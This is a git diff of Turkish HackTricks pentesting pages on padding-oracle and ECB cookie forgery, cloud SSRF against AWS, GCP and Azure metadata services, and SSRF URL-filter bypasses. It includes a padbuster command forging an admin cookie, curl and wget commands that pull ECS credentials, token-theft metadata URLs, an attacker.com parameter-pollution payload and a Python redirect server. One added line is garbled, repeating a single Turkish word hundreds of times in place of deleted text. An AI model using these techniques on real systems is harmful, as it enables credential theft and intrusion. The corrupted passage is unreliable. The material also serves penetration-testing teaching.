bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin** şifrelemek isterseniz +Saldırı başarılı bir şekilde gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin**'i **şifrelemek** isterseniz. ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` @@ -240,7 +241,7 @@ Bu işlem, içinde **user=administrator** dizesi bulunan çerezin doğru bir şe **CBC-MAC** -Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Ardından, değerin bütünlüğü, aynı değeri kullanarak CBC'yi kullanarak oluşturulan imza olacaktır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir. +Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Sonra, değerin bütünlüğü, aynı değeri kullanarak CBC'yi kullanarak oluşturulan imzadır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir. **Saldırı** @@ -251,7 +252,7 @@ Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. **ECB** Çerez ECB kullanılarak şifrelenmişse savunmasız olabilir.\ -Oturum açtığınızda aldığınız çerez her zaman aynı olmalıdır. +Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır. **Nasıl tespit edilir ve saldırılır:** @@ -259,7 +260,7 @@ Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifr Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir). -Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" kullanıcı adını oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin" olan çerezi elde edersiniz. +Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" şeklinde bir kullanıcı adı oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin" olan çerezi elde edebilirsiniz. ## Referanslar @@ -268,20 +269,20 @@ Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. -* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın. +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.**
diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index c63747752..b0c556498 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -2,21 +2,21 @@
-htARTE (HackTricks AWS Red Team Expert) ile AWS hacklemeyi sıfırdan kahramana öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! HackTricks'i desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın. - [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +- **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'i takip edin. +- **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -26,12 +26,12 @@ HackTricks'i desteklemenin diğer yolları: ### AWS EC2 Ortamında SSRF Kötüye Kullanımı -**Metadata** uç noktasına herhangi bir EC2 makinesi içinden erişilebilir ve hakkında ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**Metadata** uç noktasına herhangi bir EC2 makinesinden erişilebilir ve hakkında ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Metadata uç noktasının **2 versiyonu** bulunmaktadır. **İlk** versiyon, uç noktaya **GET** istekleri aracılığıyla erişime izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **HTTP başlığı** ile bir **PUT** isteği göndererek bir **token** istemeniz ve ardından bu tokenı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekmektedir (bu nedenle bir SSRF ile kötüye kullanmak daha **karmaşıktır**). +Metadata uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri aracılığıyla erişime izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemeniz ve bu tokenı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle bir SSRF ile kötüye kullanmak **daha karmaşıktır**). {% hint style="danger" %} -EC2 örneği IMDSv2'yi zorluyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı**nın bir **atlama limiti 1** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirecektir. +EC2 örneği IMDSv2'yi zorluyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı**nın bir **atlamalık sınırı 1** olacaktır, bu da EC2 metadata'sına EC2 örneği içindeki bir konteynerden erişimi imkansız hale getirir. Ayrıca, **IMDSv2**, `X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de **engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişmesini engellemek içindir. {% endhint %} @@ -111,20 +111,20 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4 ``` **aws\_session\_token** dikkate alınmalıdır, bu profilin çalışması için vazgeçilmezdir. -[**PACU**](https://github.com/RhinoSecurityLabs/pacu), keşfedilen kimlik bilgileriyle kullanılabilir ve ayrıcalıklarınızı bulmak ve ayrıcalıkları yükseltmeye çalışmak için kullanılabilir. +[**PACU**](https://github.com/RhinoSecurityLabs/pacu), keşfedilen kimlik bilgileri ile kullanılabilir, ayrıcalıklarınızı bulmak ve ayrıcalıkları yükseltmeye çalışmak için. ### AWS ECS (Container Service) kimlik bilgilerinde SSRF **ECS**, kendi küme yönetim altyapınızı ölçeklendirmenize gerek kalmadan bir uygulamayı çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS** içinde çalışan servisi ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**. Eğer _**http://169.254.170.2/v2/credentials/\**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\**'yi bulmanız gerekmektedir. \'yi bulmak için makine içindeki **environ** değişkeni **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**'yi okumanız gerekmektedir.\ -Bunu başarabilirseniz, `file:///proc/self/environ` üzerinden bir **Path Traversal**'ı sömürerek okuyabilirsiniz.\ +Bunu başarabilmek için bir **Path Traversal**'ı sömürerek `file:///proc/self/environ`'ı okuyabilirsiniz.\ Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı verecektir. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} -**Bazı durumlarda** **konteynerden EC2 meta verilerine** erişebileceksiniz (önceden belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz. +**Bazı durumlarda** **konteynerden EC2 meta verilerine** erişebileceğinizi unutmayın (önceden belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz. {% endhint %} ### AWS Lambda için SSRF @@ -150,7 +150,7 @@ API'den `accountId` ve `region` bilgilerini alıyoruz. http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -Ardından API'den `AccessKeyId`, `SecretAccessKey` ve `Token` değerlerini alıyoruz. +Sonra API'den `AccessKeyId`, `SecretAccessKey` ve `Token` değerlerini alıyoruz. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` @@ -160,7 +160,7 @@ Ardından kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[HESAP_I ## GCP -Metadata uç noktaları hakkındaki belgelere [**buradan ulaşabilirsiniz**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). +[**Metadata uç noktaları hakkındaki belgelere buradan ulaşabilirsiniz**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### Google Cloud için SSRF URL @@ -275,7 +275,7 @@ Token'i çıkarın ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` -Kullanıcı token'ın kapsamını kontrol edin (önceki çıktı ile veya aşağıdakini çalıştırarak). +Önceki çıktı ile token kapsamını kontrol edin (veya aşağıdakini çalıştırarak). ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", @@ -349,10 +349,6 @@ curl http://169.254.169.254/metadata/v1.json | jq * Başlık `Metadata: true` içermelidir * `X-Forwarded-For` başlığı içermemelidir - -{% tabs %} -{% tab title="Bash" %} -{% code overflow="wrap" %} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" @@ -394,9 +390,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h ``` ### Azure Uygulama Servisi -**env** içerisinden `IDENTITY_HEADER` ve `IDENTITY_ENDPOINT` değerlerini alabilirsiniz. Bu değerleri kullanarak meta veri sunucusu ile iletişim kurmak için bir belirteç elde edebilirsiniz. +**env** içerisinden `IDENTITY_HEADER` ve `IDENTITY_ENDPOINT` değerlerini alabilirsiniz. Bu değerleri kullanarak meta veri sunucusu ile iletişim kurmak için bir belirteç toplayabilirsiniz. -Genellikle, bu kaynaklardan biri için bir belirteç istersiniz: +Çoğu zaman, bu kaynaklardan biri için bir belirteç istersiniz: * [https://storage.azure.com](https://storage.azure.com/) * [https://vault.azure.net](https://vault.azure.net/) @@ -502,60 +498,4 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc ``` {% endcode %} -Çeşitli platformların meta veri hizmetlerine dair belgeler aşağıda açıklanmış olup, örnekler aracılığıyla örneklerin yapılandırma ve çalışma zamanı bilgilerine nasıl erişilebileceği vurgulanmıştır. Her platform, meta veri hizmetlerine erişmek için benzersiz uç noktalar sunar. - -## Packetcloud - -Packetcloud'un meta verilerine erişmek için belgeler şurada bulunabilir: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) - -## OpenStack/RackSpace - -Başlık için bir gereklilik belirtilmemiştir. Meta verilere şu yollarla erişilebilir: - -* `http://169.254.169.254/openstack` - -## HP Helion - -Burada da başlık için bir gereklilik belirtilmemiştir. Meta verilere şu adresten erişilebilir: - -* `http://169.254.169.254/2009-04-04/meta-data/` - -## Oracle Cloud - -Oracle Cloud, çeşitli meta veri yönlerine erişim için bir dizi uç nokta sağlar: - -* `http://192.0.0.192/latest/` -* `http://192.0.0.192/latest/user-data/` -* `http://192.0.0.192/latest/meta-data/` -* `http://192.0.0.192/latest/attributes/` - -## Alibaba - -Alibaba, örnek ve görüntü kimlikleri de dahil olmak üzere meta verilere erişim için uç noktalar sunar: - -* `http://100.100.100.200/latest/meta-data/` -* `http://100.100.100.200/latest/meta-data/instance-id` -* `http://100.100.100.200/latest/meta-data/image-id` - -## Kubernetes ETCD - -Kubernetes ETCD, API anahtarları, dahili IP adresleri ve bağlantı noktalarını saklayabilir. Erişim şu şekilde gösterilmiştir: - -* `curl -L http://127.0.0.1:2379/version` -* `curl http://127.0.0.1:2379/v2/keys/?recursive=true` - -## Docker - -Docker meta verileri yerel olarak erişilebilir, örnekler verilmiştir: - -* Docker soketi aracılığıyla konteyner ve görüntü bilgilerine erişim için basit bir örnek: -* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` -* Konteyner içinde, Docker soketi ile curl kullanın: -* `curl --unix-socket /var/run/docker.sock http://foo/containers/json` -* `curl --unix-socket /var/run/docker.sock http://foo/images/json` - -## Rancher - -Rancher'ın meta verilerine şu şekilde erişilebilir: - -* `curl http://rancher-metadata//` +Çeşitli platformların meta veri hizmetlerine dökümantasyon aşağıda belirtilmiştir, örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örneklerle örnekler diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index c9ece8c4e..06bacadb6 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -2,21 +2,21 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -159,9 +159,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` -### Yollar ve Uzantılar Geçişi +### Yollar ve Uzantılar Geçme -Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa, veya bir yol içermesi gerekiyorsa, aşağıdaki geçişlerden birini deneyebilirsiniz: +Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki geçişlerden birini deneyebilirsiniz: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension @@ -169,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing -**recollapse** adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [bu yazıya](https://0xacb.com/2022/11/21/recollapse/) bakın. +[**recollapse**](https://github.com/0xacb/recollapse) adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [**bu yazıyı**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin. ### Yönlendirme aracılığıyla atlatma -Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını filtrelemeyebileceği mümkün olabilir.\ -Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak istediğiniz yönlendirmeyi yapmak için bir [python sunucusu ile 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), filtrelenmiş IP adreslerine 127.0.0.1 veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\ +Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını **filtrelemeyebileceği** mümkün olabilir.\ +Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak, yönlendirmek istediğiniz yere bir [python sunucusuyla 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\ [Bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -200,7 +200,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Ters Eğik Çizgi Hilesi -_Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ve 